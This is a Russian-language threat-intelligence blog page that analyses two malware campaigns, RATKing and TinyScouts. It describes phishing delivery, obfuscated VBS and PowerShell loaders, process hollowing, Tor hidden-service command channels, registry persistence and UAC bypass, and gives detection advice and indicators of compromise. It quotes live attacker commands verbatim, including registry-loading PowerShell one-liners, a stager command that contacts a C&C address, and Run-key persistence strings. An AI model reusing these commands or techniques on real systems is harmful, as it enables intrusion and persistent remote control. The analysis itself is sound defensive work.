Русский
Русский
English
Статистика
Реклама

Malware

RATKing новая кампания с троянами удаленного доступа

26.06.2020 12:10:59 | Автор: admin
Вконце мая мыобнаружили кампанию распространения ВПО класса Remote Access Trojan (RAT) программ, которые позволяют злоумышленникам удаленно управлять зараженной системой.

Рассматриваемая нами группировка отличилась тем, что она невыбрала для заражения какое-то определенное семейство RAT. Ватаках врамках кампании были замечены сразу несколько троянов (все вшироком доступе). Этой чертой группировка напомнила нам окрысином короле мифическом животном, которое состоит изгрызунов спереплетенными хвостами.



Оригинал взят измонографии К.Н.Россикова Мыши имышевидные грызуны, наиболее важные вхозяйственном отношении (1908г.)

Вчесть этого существа мыназвали рассматриваемую нами группировку RATKing. Вэтом посте мырасскажем подробно отом, как злоумышленники проводили атаку, какие инструменты они использовали, атакже поделимся своими соображениями относительно атрибуции этой кампании.

Ход атаки


Все атаки вэтой кампании проходили последующему алгоритму:

  1. Пользователь получал фишинговое письмо соссылкой наGoogle Drive.
  2. Поссылке жертва скачивала вредоносный VBS-скрипт, который прописывал DLL-библиотеку для загрузки конечного пейлоада вреестр Windows изапускал PowerShell, чтобы исполнитьее.
  3. DLL-библиотека внедряла конечный пейлоад собственно, один изиспользуемых злоумышленниками RAT всистемный процесс ипрописывала VBS-скрипт вавтозапуск, чтобы закрепиться взараженной машине.
  4. Конечный пейлоад исполнялся всистемном процессе идавал злоумышленнику возможность управлять зараженным компьютером.

Схематически это можно представить так:



Далее мысосредоточимся напервых трех этапах, поскольку нас интересует именно механизм доставки ВПО. Мынестанем подробно описывать механизм работы самих вредоносов. Они находятся вшироком доступе либо продаются наспециализированных форумах, либо ивовсе распространяются как проекты соткрытым исходным кодом, азначит, неуникальны для группировки RATKing.

Анализ этапов атаки


Этап1. Фишинговая рассылка


Атака начиналась стого, что жертва получала вредоносное письмо (злоумышленники использовали разные шаблоны стекстом, наскриншоте ниже приведен один изпримеров). Всообщении была ссылка налегитимное хранилище drive.google.com, которая якобы вела настраницу загрузки документа вформате PDF.



Пример фишингового письма

Однако наделе загружался вовсе неPDF-документ, аVBS-скрипт.

При переходе поссылке изписьма наскриншоте выше загружался файл сименем Cargo Flight Details.vbs. Вэтом случае злоумышленники даже непытались замаскировать файл под легитимный документ.

Втоже время врамках этой кампании мыобнаружили скрипт сименем Cargo Trip Detail.pdf.vbs. Онуже мог сойти залегитимный PDF, потому что поумолчанию Windows скрывает расширение файлов. Правда, вэтом случае подозрение все еще могла вызвать его иконка, соответствовавшая VBS-скрипту.

Наэтом этапе жертва могла распознать обман: достаточно насекунду присмотреться кскачиваемым файлам. Однако втаких фишинговых кампаниях злоумышленники зачастую рассчитывают именно наневнимательного или спешащего пользователя.

Этап2. Работа VBS-скрипта


VBS-скрипт, который пользователь мог открыть понеосторожности, прописывал DLL-библиотеку вреестр Windows. Скрипт был обфусцирован: строки внем записаны ввиде байтов, разделенных произвольным символом.



Пример обфусцированного скрипта

Алгоритм деобфускации достаточно прост: изобфусцированной строки исключался каждый третий символ, после чего результат декодировался изbase16в исходную строку. Например, иззначения 57Q53s63t72s69J70r74e2El53v68m65j6CH6Ct (выделено наскриншоте выше) получалась строка WScript.Shell.

Для деобфускации строк мыиспользовали функцию наPython:

def decode_str(data_enc):       return binascii.unhexlify(''.join([data_enc[i:i+2] for i in range(0, len(data_enc), 3)]))

Ниже настроках 910 выделено значение, при деобфускации которого получался DLL-файл. Именно онзапускался наследующем этапе спомощью PowerShell.



Строка собфусцированным DLL

Каждая функция вVBS-скрипте выполнялась помере деобфускации строк.

После запуска скрипта вызывалась функция wscript.sleep сеепомощью выполнялось отложенное исполнение.

Далее скрипт работал среестром Windows. Ониспользовал для этого технологию WMI. Сеепомощью создавался уникальный ключ, ивего параметр записывалось тело исполняемого файла. Обращение креестру через WMI выполнялось спомощью следующей команды:

GetObject(winmgmts {impersonationLevel=impersonate}!\\.\root\default:StdRegProv)



Запись, сделанная вреестре VBS-скриптом

Этап3. Работа DLL-библиотеки


Натретьем этапе вредоносная DLL-библиотека загружала конечный пейлоад, внедряла его всистемный процесс иобеспечивала автозапуск VBS-скрипта при входе пользователя всистему.

Запуск через PowerShell

DLL-библиотека исполнялась спомощью следующей команды вPowerShell:

[System.Threading.Thread]::GetDomain().Load((ItemProperty HKCU:\/\/\/Software\/\/\/<rnd_sub_key_name> ).<rnd_value_name>);[GUyyvmzVhebFCw]::EhwwK('WScript.ScriptFullName', 'rWZlgEtiZr', 'WScript.ScriptName'),0

Эта команда делала следующее:

  • получала данные значения реестра сименем rnd_value_name эти данные представляли собой DLL-файл, написанный наплатформе .Net;
  • загружала полученный .Net-модуль впамять процесса powershell.exeспомощью функции [System.Threading.Thread]::GetDomain().Load()(подробное описание функции Load() доступно насайте Microsoft);
  • исполняла функциюGUyyvmzVhebFCw]::EhwwK() снее начиналось исполнение DLLбиблиотеки спараметрами vbsScriptPath, xorKey, vbsScriptName. Параметр xorKey хранил ключ для расшифровки конечного пейлоада, апараметры vbsScriptPathиvbsScriptName передавались для того, чтобы прописать VBS-скрипт вавтозапуск.

Описание DLL-библиотеки

Вдекомпилированном виде загрузчик выглядел так:



Загрузчик вдекомпилированном виде (красным подчеркнута функция, скоторой начиналось исполнение DLL-библиотеки)

Загрузчик защищен протектором .Net Reactor. Соснятием данного протектора отлично справляется утилита de4dot.

Данный загрузчик:

  • осуществлял инжект пейлоада всистемный процесс (вданном примере это svchost.exe);
  • прописывал VBS-скрипт вавтозапуск.

Инжект пейлоада

Рассмотрим функцию, которую вызывал PowerShell-скрипт.



Функция, вызываемая PowerShell-скриптом

Данная функция осуществляла следующие действия:

  • расшифровывала два массива данных (array иarray2 наскриншоте). Первоначально они были сжаты спомощью gzip изашифрованы алгоритмом XOR сключом xorKey;
  • копировала данные ввыделенные области памяти. Данные изarray вобласть памяти, накоторую указывал intPtr(payload pointer наскриншоте); данные изarray2 вобласть памяти, накоторую указывал intPtr2(shellcode pointer наскриншоте);
  • вызывала функцию CallWindowProcA(описание этой функции есть насайте Microsoft) соследующими параметрами (ниже перечислены имена параметров, наскриншоте они идут втомже порядке, носрабочими значениями):
    • lpPrevWndFuncуказатель наданные из array2;
    • hWndуказатель настроку, содержащую путь кисполняемому файлу svchost.exe;
    • Msgуказатель наданные из array;
    • wParam,lParam параметры сообщения (вданном случае эти параметры неиспользовались иимели значения 0);
  • создавала файл %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\<name>.url, где <name> это первые 4символа параметра vbsScriptName(наскриншоте фрагмент кода сэтим действием начинается скоманды File.Copy). Таким образом вредонос добавлял URL-файл всписок файлов для автозапуска при входе пользователя всистему итем самым закреплялся назараженном компьютере. URL-файл содержал ссылку наскрипт:

[InternetShortcut]URL = file : ///<vbsScriptPath>

Для понимания того, как осуществлялся инжект, мырасшифровали массивы данных array и array2. Для этого мыиспользовали следующую функцию наPython:

def decrypt(data, key):    return gzip.decompress(        bytearray([data[i] ^ key[i % len(key)] for i in range(len(data))])[4:])    

Врезультате мывыяснили, что:

  • array представлял собой PE-файл это иесть конечный пейлоад;
  • array2 представлял собой шелл-код, необходимый для осуществления инжекта.

Шелл-код измассива array2 передавался вкачестве значения функции lpPrevWndFunc вфункцию CallWindowProcA. lpPrevWndFunc функция обратного вызова, еепрототип выглядит так:

LRESULT WndFunc(  HWND    hWnd,  UINT    Msg,  WPARAM  wParam,  LPARAM  lParam);

Таким образом, при запуске функции CallWindowProcA спараметрами hWnd, Msg, wParam, lParamисполняется шелл-код измассива array2 саргументами hWnd и Msg. hWnd это указатель настроку, содержащую путь кисполняемому файлу svchost.exe, а Msg указатель наконечный пейлоад.

Шелл-код получал адреса функций изkernel32.dllиntdll32.dllпозначениям хешей отихимен ивыполнял инжект конечного пейлоада впамять процесса svchost.exe, используя технику Process Hollowing (подробно оней можно прочитать вэтой статье). При инжекте шелл-код:

  • создавал процесс svchost.exe вприостановленном состоянии при помощи функции CreateProcessW;
  • затем скрывал отображение секции вадресном пространстве процесса svchost.exeпри помощи функции NtUnmapViewOfSection. Таким образом программа освобождала память оригинального процесса svchost.exe, чтобы затем поэтому адресу выделить память для пейлоада;
  • выделял память для пейлоада вадресном пространстве процесса svchost.exe при помощи функции VirtualAllocEx;



Начало процесса инжекта

  • записывал содержимое пейлоада вадресное пространство процесса svchost.exe при помощи функции WriteProcessMemory (как наскриншоте ниже);
  • возобновлял процесс svchost.exe при помощи функции ResumeThread.



Завершение процесса инжекта

Загружаемое ВПО


Врезультате описанных действий взараженной системе устанавливалась одна изнескольких вредоносных программ класса RAT. Втаблице ниже перечислены использованные ватаке вредоносы, которые мысуверенностью можем приписать одной группе злоумышленников, поскольку семплы обращались кодному итомуже серверу управления.
Название ВПО
Впервые замечено
SHA-256
C&C
Процесс, вкоторый осуществляется инжект
Darktrack
16-04-2020
ea64fe672c953adc19553ea3b9118ce4ee88a14d92fc7e75aa04972848472702
kimjoy007.dyndns[.]org:2017
svchost
Parallax
24-04-2020
b4ecd8dbbceaadd482f1b23b712bcddc5464bccaac11fe78ea5fd0ba932a4043
kimjoy007.dyndns[.]org:2019
svchost
WARZONE
18-05-2020
3786324ce3f8c1ea3784e5389f84234f81828658b22b8a502b7d48866f5aa3d3
kimjoy007.dyndns[.]org:9933
svchost
Netwire
20-05-2020
6dac218f741b022f5cad3b5ee01dbda80693f7045b42a0c70335d8a729002f2d
kimjoy007.dyndns[.]org:2000
svchost

Примеры распространяемого ВПО содним итемже сервером управления

Здесь примечательны две вещи.

Во-первых, сам факт, что злоумышленники использовали сразу несколько различных семейств RAT. Такое поведение нехарактерно для известных кибергруппировок, которые зачастую используют приблизительно одинаковый набор привычных для них инструментов.

Во-вторых, RATKing использовали вредоносы, которые либо продаются наспециализированных форумах занебольшую цену, либо ивовсе являются проектами соткрытым исходным кодом.

Более полный перечень использованного вкампании ВПО содной важной оговоркой приведен вконце статьи.

Огруппировке


Мынеможем отнести описанную вредоносную кампанию ккаким-либо известным злоумышленникам. Пока мысчитаем, что эти атаки совершила принципиально новая группировка. Как мыуже писали вначале, мыназвали ееRATKing.

Для создания VBS-скрипта группировка, вероятно, использовала инструмент, похожий наутилиту VBS-Crypter отразработчика NYAN-x-CAT. Наэто указывает схожесть скрипта, который создает эта программа, соскриптом злоумышленников. Вчастности, они оба:

  • осуществляют отложенное исполнение спомощью функции Sleep;
  • используют WMI;
  • прописывают тело исполняемого файла вкачестве параметра ключа реестра;
  • исполняют этот файл при помощи PowerShell вегоже адресном пространстве.

Для наглядности сравните команду PowerShell для запуска файла изреестра, которую использует скрипт, созданный спомощью VBS-Crypter:

((Get-ItemPropertyHKCU:\Software\NYANxCAT\).NYANxCAT);$text=-join$text[-1..-$text.Length];[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String($text)).EntryPoint.Invoke($Null,$Null);

саналогичной командой, которую использовал скрипт злоумышленников:

[System.Threading.Thread]::GetDomain().Load((ItemProperty HKCU:\/\/\/Software\/\/\/<rnd_sub_key_name> ).<rnd_value_name>);[GUyyvmzVhebFCw]::EhwwK('WScript.ScriptFullName', 'rWZlgEtiZr', 'WScript.ScriptName'),0

Заметим, что вкачестве одного изпейлоадов злоумышленники использовали другую утилиту отNYAN-x-CAT LimeRAT.

Адреса C&C-серверов указывают наеще одну отличительную черту RATKing: группировка предпочитает сервисы динамического DNS (см. перечень C&Cв таблице сIoC).

IoC


Втаблице ниже приведен полный перечень VBS-скриптов, которые сбольшой вероятностью можно отнести кописанной кампании. Все эти скрипты похожи иосуществляют примерно одинаковую последовательность действий. Все они инжектят ВПО класса RAT вдоверенный процесс Windows. Увсех них адреса C&C зарегистрированы сиспользованием Dynamic DNS-сервисов.

Тем неменее, мынеможем утверждать, что все эти скрипты распространялись одними итемиже злоумышленниками, заисключением семплов содинаковыми адресами C&C (например, kimjoy007.dyndns.org).
Название ВПО
SHA-256
C&C
Процесс, вкоторый осуществляется инжект
Parallax
b4ecd8dbbceaadd482f1b23b712bcddc5464bccaac11fe78ea5fd0ba932a4043
kimjoy007.dyndns.org
svchost
00edb8200dfeee3bdd0086c5e8e07c6056d322df913679a9f22a2b00b836fd72
hope.doomdns.org
svchost
504cbae901c4b3987aa9ba458a230944cb8bd96bbf778ceb54c773b781346146
kimjoy007.dyndns.org
svchost
1487017e087b75ad930baa8b017e8388d1e99c75d26b5d1deec8b80e9333f189
kimjoy007.dyndns.org
svchost
c4160ec3c8ad01539f1c16fb35ed9c8c5a53a8fda8877f0d5e044241ea805891
franco20.dvrdns.org
svchost
515249d6813bb2dde1723d35ee8eb6eeb8775014ca629ede017c3d83a77634ce
kimjoy007.dyndns.org
svchost
1b70f6fee760bcfe0c457f0a85ca451ed66e61f0e340d830f382c5d2f7ab803f
franco20.dvrdns.org
svchost
b2bdffa5853f29c881d7d9bff91b640bc1c90e996f85406be3b36b2500f61aa1
hope.doomdns.org
svchost
c9745a8f33b3841fe7bfafd21ad4678d46fe6ea6125a8fedfcd2d5aee13f1601
kimjoy007.dyndns.org
svchost
1dfc66968527fbd4c0df2ea34c577a7ce7a2ba9b54ba00be62120cc88035fa65
franco20.dvrdns.org
svchost
c6c05f21e16e488eed3001d0d9dd9c49366779559ad77fcd233de15b1773c981
kimjoy007.dyndns.org
cmd
3b785cdcd69a96902ee62499c25138a70e81f14b6b989a2f81d82239a19a3aed
hope.doomdns.org
svchost
4d71ceb9d6c53ac356c0f5bdfd1a5b28981061be87e38e077ee3a419e4c476f9
2004para.ddns.net
svchost
00185cc085f284ece264e3263c7771073a65783c250c5fd9afc7a85ed94acc77
hope.doomdns.org
svchost
0342107c0d2a069100e87ef5415e90fd86b1b1b1c975d0eb04ab1489e198fc78
franco20.dvrdns.org
svchost
de33b7a7b059599dc62337f92ceba644ac7b09f60d06324ecf6177fff06b8d10
kimjoy007.dyndns.org
svchost
80a8114d63606e225e620c64ad8e28c9996caaa9a9e87dd602c8f920c2197007
kimjoy007.dyndns.org
svchost
acb157ba5a48631e1f9f269e6282f042666098614b66129224d213e27c1149bb
hope.doomdns.org
cmd
bf608318018dc10016b438f851aab719ea0abe6afc166c8aea6b04f2320896d3
franco20.dvrdns.org
svchost
4d0c9b8ad097d35b447d715a815c67ff3d78638b305776cde4d90bfdcb368e38
hope.doomdns.org
svchost
e7c676f5be41d49296454cd6e4280d89e37f506d84d57b22f0be0d87625568ba
kimjoy007.dyndns.org
svchost
9375d54fcda9c7d65f861dfda698e25710fda75b5ebfc7a238599f4b0d34205f
franco20.dvrdns.org
svchost
128367797fdf3c952831c2472f7a308f345ca04aa67b3f82b945cfea2ae11ce5
kimjoy007.dyndns.org
svchost
09bd720880461cb6e996046c7d6a1c937aa1c99bd19582a562053782600da79d
hope.doomdns.org
svchost
0a176164d2e1d5e2288881cc2e2d88800801001d03caedd524db365513e11276
paradickhead.homeip.net
svchost
0af5194950187fd7cbd75b1b39aab6e1e78dae7c216d08512755849c6a0d1cbe
hope.doomdns.org
svchost
Warzone
3786324ce3f8c1ea3784e5389f84234f81828658b22b8a502b7d48866f5aa3d3
kimjoy007.dyndns.org
svchost
db0d5a67a0ced6b2de3ee7d7fc845a34b9d6ca608e5fead7f16c9a640fa659eb
kimjoy007.dyndns.org
svchost
Netwire
6dac218f741b022f5cad3b5ee01dbda80693f7045b42a0c70335d8a729002f2d
kimjoy007.dyndns.org
svchost
Darktrack
ea64fe672c953adc19553ea3b9118ce4ee88a14d92fc7e75aa04972848472702
kimjoy007.dyndns.org
svchost
WSH RAT
d410ced15c848825dcf75d30808cde7784e5b208f9a57b0896e828f890faea0e
anekesolution.linkpc.net
RegAsm

Lime


896604d27d88c75a475b28e88e54104e66f480bcab89cc75b6cdc6b29f8e438b
softmy.duckdns.org
RegAsm
QuasarRAT
bd1e29e9d17edbab41c3634649da5c5d20375f055ccf968c022811cd9624be57
darkhate-23030.portmap.io
RegAsm
12044aa527742282ad5154a4de24e55c9e1fae42ef844ed6f2f890296122153b
darkhate-23030.portmap.io
RegAsm
be93cc77d864dafd7d8c21317722879b65cfbb3297416bde6ca6edbfd8166572
darkhate-23030.portmap.io
RegAsm
933a136f8969707a84a61f711018cd21ee891d5793216e063ac961b5d165f6c0
darkhate-23030.portmap.io
RegAsm
71dea554d93728cce8074dbdb4f63ceb072d4bb644f0718420f780398dafd943
chrom1.myq-see.com
RegAsm
0d344e8d72d752c06dc6a7f3abf2ff7678925fde872756bf78713027e1e332d5
darkhate-23030.portmap.io
RegAsm
0ed7f282fd242c3f2de949650c9253373265e9152c034c7df3f5f91769c6a4eb
darkhate-23030.portmap.io
RegAsm
aabb6759ce408ebfa2cc57702b14adaec933d8e4821abceaef0c1af3263b1bfa
darkhate-23030.portmap.io
RegAsm
1699a37ddcf4769111daf33b7d313cf376f47e92f6b92b2119bd0c860539f745
darkhate-23030.portmap.io
RegAsm
3472597945f3bbf84e735a778fd75c57855bb86aca9b0a4d0e4049817b508c8c
darkhate-23030.portmap.io
RegAsm
809010d8823da84cdbb2c8e6b70be725a6023c381041ebda8b125d1a6a71e9b1
darkhate-23030.portmap.io
RegAsm
4217a2da69f663f1ab42ebac61978014ec4f562501efb2e040db7ebb223a7dff
darkhate-23030.portmap.io
RegAsm
08f34b3088af792a95c49bcb9aa016d4660609409663bf1b51f4c331b87bae00
darkhate-23030.portmap.io
RegAsm
79b4efcce84e9e7a2e85df7b0327406bee0b359ad1445b4f08e390309ea0c90d
darkhate-23030.portmap.io
RegAsm
12ea7ce04e0177a71a551e6d61e4a7916b1709729b2d3e9daf7b1bdd0785f63a
darkhate-23030.portmap.io
RegAsm
d7b8eb42ae35e9cc46744f1285557423f24666db1bde92bf7679f0ce7b389af9
darkhate-23030.portmap.io
RegAsm
def09b0fed3360c457257266cb851fffd8c844bc04a623c210a2efafdf000d5c
darkhate-23030.portmap.io
RegAsm
50119497c5f919a7e816a37178d28906fb3171b07fc869961ef92601ceca4c1c
darkhate-23030.portmap.io
RegAsm
ade5a2f25f603bf4502efa800d3cf5d19d1f0d69499b0f2e9ec7c85c6dd49621
darkhate-23030.portmap.io
RegAsm
189d5813c931889190881ee34749d390e3baa80b2c67b426b10b3666c3cc64b7
darkhate-23030.portmap.io
RegAsm
c3193dd67650723753289a4aebf97d4c72a1afe73c7135bee91c77bdf1517f21
darkhate-23030.portmap.io
RegAsm
a6f814f14698141753fc6fb7850ead9af2ebcb0e32ab99236a733ddb03b9eec2
darkhate-23030.portmap.io
RegAsm
a55116253624641544175a30c956dbd0638b714ff97b9de0e24145720dcfdf74
darkhate-23030.portmap.io
RegAsm
d6e0f0fb460d9108397850169112bd90a372f66d87b028e522184682a825d213
darkhate-23030.portmap.io
RegAsm
522ba6a242c35e2bf8303e99f03a85d867496bbb0572226e226af48cc1461a86
darkhate-23030.portmap.io
RegAsm
fabfdc209b02fe522f81356680db89f8861583da89984c20273904e0cf9f4a02
darkhate-23030.portmap.io
RegAsm
08ec13b7da6e0d645e4508b19ba616e4cf4e0421aa8e26ac7f69e13dc8796691
darkhate-23030.portmap.io
RegAsm
8433c75730578f963556ec99fbc8d97fa63a522cef71933f260f385c76a8ee8d
darkhate-23030.portmap.io
RegAsm
99f6bfd9edb9bf108b11c149dd59346484c7418fc4c455401c15c8ac74b70c74
darkhate-23030.portmap.io
RegAsm
d13520e48f0ff745e31a1dfd6f15ab56c9faecb51f3d5d3d87f6f2e1abe6b5cf
darkhate-23030.portmap.io
RegAsm
9e6978b16bd52fcd9c331839545c943adc87e0fbd7b3f947bab22ffdd309f747
darkhate-23030.portmap.io
RegAsm
Подробнее..

Чуть сложнее, чем кажется как атакует группировка TinyScouts

17.08.2020 22:18:10 | Автор: admin
Какое-то время назад мы начали фиксировать попытки заражения инфраструктур наших заказчиков ранее не известным вредоносным ПО. Оно доставлялось пользователям через фишинговые рассылки, иногда посвященные второй волне коронавируса, а иногда четко заточенные под атакуемую организацию и связанные с ее деятельностью. Злоумышленники выдавали себя за различные существующие компании, например, Норильский Никель, Российский союз промышленников и предпринимателей, Финаудитсервис и т.д.



Примечательными были два аспекта деятельности группировки: во-первых, высокий уровень технических навыков злоумышленников, а во-вторых вариабельность сценария атаки. Если ты как жертва не интересен украдут пароли и зашифруют данные, а вот если твоя машина в интересном домене и имеет потенциал для более интересного развития атаки загрузят Remote Admin Tool (RAT), написанный на PowerShell. Мы назвали группировку TinyScouts по именам функций из вредоносного кода. В статье мы расскажем о двух ее последних кампаниях, которые условно можно разделить по месяцам июль и август 2020 года, и сделаем полный разбор инструментов и сценариев TinyScouts.

Июльская кампания. Direct download



В июле вредонос распространялся в виде lnk-файла, который выполнял следующую команду:

%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_А^ктСве^рки.z^ip\!a!)

В результате запуска mshta.exe происходило выполнение обфусцированного JS-скрипта. Его задача извлечь из тела lnk-файла документ для отвлечения внимания, открыть его через rundll32.exe и запустить обфусцированную команду PowerShell. Фрагмент скрипта после деобфускации приведен ниже:



Скрипт в переменной toexecute загружает и запускает еще один обфусцированный PowerShell-скрипт c именем Decide (запрос к decide.php). Пример обфускации ниже:



Задача данного скрипта проверить компьютер на соответствие некоторым параметрам и скачать следующую нагрузку с серверов. Фрагмент деобфусцированного кода приведен ниже:



Проверяется наличие TeamViewer, RDP сессий и факт вхождения в домен для того, чтобы определить, какую нагрузку необходимо скачать. В случае интересной системы загружается RAT, иначе шифровальщик. В обоих случаях это обфусцированные в несколько слоев скрипты.

Августовская кампания (продолжается). Tor Hidden Services




В начале августа схема распространения изменилась: теперь в письмах была ссылка на скачивание sfx-архива, который содержит 4 файла:

document.doc. Документ, который открывается для отвлечения внимания и не несет вредоносной нагрузки.
7za.exe. 7z- архиватор.
wget.exe. Оригинальная утилита wget.
service. JS-скрипт Stager 1

При запуске sfx-архива происходят следующие действия:

1) открывается document.doc
2) с помощью wget и 7z скачивается и распаковывается TOR и node.exe по следующим ссылкам:
www.torproject.org/dist/torbrowser/9.5.1/tor-win32-0.4.3.5.zip
nodejs.org/dist/latest-carbon/win-x86/node.exe
3) с помощью node.exe запускается скрипт Stager 1:
C:\Windows\System32\cmd.exe" /c if not exist hostname (node service 192.248[.]165.254)

Ниже представлен деобфусцированный скрипт Stager 1:



Скрипт service получает в качестве аргумента адрес сервера управления и при запуске создает TOR Hidden Service (http://personeltest.ru/aways/2019.www.torproject.org/docs/onion-services). Стоит отметить, что при запуске скрытого сервиса TOR генерируется его имя (оно схоже с именем обычного ресурса в сети TOR, например, vkss134jshs22yl3li2ul.onion). Далее скрипт отправляет сгенерированное имя Hidden Service злоумышленнику и поднимает локальный веб-сервер. В дальнейшем общение злоумышленника с зараженной системой происходит в режиме запрос/ответ к веб-серверу (строка 19 в коде), где в запросах передается код для выполнения, а в ответах результаты.

Такая архитектура позволяет злоумышленнику получить доступ к зараженной системе, даже если она находится за NAT (главное условие наличие интернета), и делает необязательным знание белого IP-адреса жертвы.

Первым запросом к поднятому web-серверу приходит скрипт Decider, задача которого заключается в определении факта вхождения компьютера в домен, а также получении имени пользователя. На этот раз проверки наличия TeamViewer и RDP отсутствуют:



После того как злоумышленнику будут отправлены результаты работы скрипта Decider, в сторону заражённой системы приходит веб-запрос, содержащий либо шифровальщик, либо RAT в зависимости от интереса злоумышленника.



Общие модули в обеих кампаниях


Скрипт Stager 3


Основной скрипт содержит в себе 5 компонентов, закодированных в base64:
шифровальщик Encryptor
файл Readme с сообщением от злоумышленников
утилита WebBrowserPassView
утилита Mail PassView
Injector. Исполняемый файл, используемый для инжектирования WebBrowserPassView и Mail PassView в процесс svchost. Инжектирование выполняется обычным методом RunPE.

Функции скрипта Stager 3:

1) Запуск шифровальщика (функция Get-Stuff)
Ниже приведен фрагмент кода скрипта с запуском шифровальщика:



2) Обход UAC (для удаления теневых копий)
В коде присутствуют три техники: с помощью csmtp.exe, CompMgmtLauncher.exe и fodhelper.exe. Почитать про них можно здесь, здесь и здесь.

3) Удаление теневых копий

4) Запуск WebBrowserPassView и Mail PassView
Это утилиты от Nirsoft для извлечения паролей из браузеров и почтовых клиентов соответственно.





5) Отправка на сервер управления отчетов вышеупомянутых утилит.
Перед отправкой отчеты шифруются алгоритмом RC4 со сгенерированным ключом (4 символа):



Сам ключ помещается в начало сообщения:



Шифровальщик Encryptor


Сообщение readme выглядит следующим образом:



Шифровальщик представляет собой исполняемый файл .NET без какой-либо обфускации. Файлы шифруются алгоритмом AES. Для каждого файла генерируется отдельный ключ и вектор инициализации, который затем шифруется с помощью публичного ключа RSA и помещается в зашифрованный файл. Главная функция шифровальщика приведена ниже:



RAT


Данный скрипт имеет несколько слоев обфускации. После расшифрования может выполнять следующие команды:
delete самоудаление
exec выполнение команды PowerShell
download загрузка файла
set_wait_time изменить частоту запроса команд
update_tiny обновление RAT
run_module выполнить блок PowerShell-команд
add_persist_module добавить в систему модуль PowerShell, который будет выполняться при каждом запуске RAT.
remote_persist_module удалить модуль из списка автозагрузки RAT.

Деобфусцированная функция обработки команд приведена ниже:



Способ закрепления


Для закрепления используются два ключа:

1) HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. В этот ключ помещается следующая команда (строка деобфусцирована):
cmd /c PowerShell -windowstyle hidden -nop -c iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>

2) HKCU\SOFTWARE\Microsoft\Windows. Здесь хранится скрипт в значении с именем client_id. Таким образом, при запуске системы команда из Run ключа читает и запускает скрипт отсюда.
client_id строка формата AppX + base64(hostname+username+campaign_id)

Функция закрепления выглядит следующим образом:



Расшифрованный скрипт, который помещается в Run:



Стоит обратить внимание, что код вредоноса не хранится ни на диске, ни в реестре: каждый раз он загружается заново вышеуказанным скриптом.

Команда add_persist_module


RAT имеет возможность добавлять PowerShell-модули, которые будут запускаться при каждом запуске. Для этого используется отдельный ключ реестра, в котором хранятся идентификаторы модулей. Во время запуска этот ключ проверяется, и вредонос делает запрос на сервер, скачивая все модули по их идентификаторам.



При запуске вредоноса запускается функция Load-AllPersistModules для запуска всех добавленных модулей:



Код модулей тоже не хранится ни на диски, ни в реестре, как и основное тело RAT.

Взаимодействия с сервером


В код вшита константа CampaignID, которая используется при регистрации RAT при запуске (функция register-tiny) в качестве ключа шифрования. Алгоритм шифрования RC4. После отправки первичной информации о системе в ответе сервера содержится ключ шифрования, который будет использоваться в дальнейшем с тем же алгоритмом.



Технические аспекты обнаружения данных кампаний


Отвечая на вопрос, как детектировать то или иное, мы стараемся разделять все правила на две большие группы:
детект общесистемных аномалий,
детект аномалий под конкретную компанию/семейство/инструмент.

Детект общесистемных аномалий


Взаимодействие с промежуточными серверами и СnС:
В июльской кампании в части обнаружения и блокировки данной активности достаточно внести IP-адреса и доменные имена в списки блокировок, при этом не забыв поставить на мониторинг попытки обращения к ним.

В августовский компании с аспектом сетевого обнаружения стало сложнее, и тут стоит обратить внимание вот на что:

Мы по-прежнему можем заблокировать и вынести часть IP-адресов и доменных имен на мониторинг;
Наличие сетевой активности через TOR заставляет нас хранить и динамически обновлять списки IP-адресов, участвующих в построении этой сети. И тут для нас детектирующим правилом может быть обращение к IP-адресу из сети TOR;
В классическом варианте, если веб-сервер стоит внутри инфраструктуры (у нас в случае с Stager 1 именно так), с точки зрения правил межсетевого экранирования SYN-флаг TCP-сессии приходит снаружи. В случае с TOR Hidden Service это не так. Там в игру вступают так называемые rendezvous point места встречи (по указанной выше ссылке есть все подробности) благодаря которым SYN-флаг TCP-сессии приходит изнутри, и простая блокировка входящих соединений не сработает.

Для обеих кампаний будет достаточно неплохо работать набор из IDS-правил, которые направлены на обнаружение используемых специфичных методов PowerShell или их Base64 преобразованного вида.

Запуск кода на конечной системе
В качестве источника событий могут выступать два источника Windows Audit и Sysmon.

Журнал PowerShell Script Block Logging

Журнал, в который попадают записи о запускаемых PowerShell-скриптах. Расположен по следующему пути: Appilication and Sevices Logs > Microsoft > Windows > Powershell > Operational.

Правила детекта, направленные на обнаружение используемых специфичных методов PowerShell, хорошо справятся с задачей обнаружения активности данных кампаний.

Журнал Security (или Sysmon)

Запуски процессов 4648 (1)

Для детектирования данной активности необходимы классические правила по детектированию аномалий в отношении процессов отец-> ребенок. Данные связки хорошо отслеживаются в процессе запуска на хосте: сmd->mshta, cmd->powershell, mshta->powershell, rar->rundll32, node->wmic

Также может помочь правило по отслеживанию подозрительных параметров запуска процессов: powershell -e base64

Сетевое соединение процессов 5156 (3)

Правило по детектированию сетевого соединения от процесса PowerShell на белые IP-адреса должно помочь обнаружить данную активность.

Также при августовской кампании хорошо помогут правила по детектированию внутреннего проксирования траффика на 127.0.0.1 (именно это делает TOR и local web server).

Запись в реестр 4657 (13)

RAT, написанный на PowerShell сохраняет присутствие через распространенную ветку реестра HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, а значит, правило для мониторинга записи по этому пути наш вариант.

Детект попыток обхода технологии UAC: изменения в следующих ветках реестра HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration

Детект аномалий под конкретную компанию/семейство/инструмент


Запуск кода на конечной системе

Запуски процессов 4648 (1)

Тут необходимо правило по отслеживанию подозрительных параметров запуска процессов: C:\Windows\System32\cmd.exe" /c if not exist hostname (node service )
Запись в реестр 4657 (13)

RAT, написанный на PowerShell, также сохраняет присутствие через ветку реестра HKCU\SOFTWARE\Microsoft\Windows, а значит, для обнаружения нам необходимо отслеживать запись значения client_id по этому пути.

Индикаторы компрометации:

a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
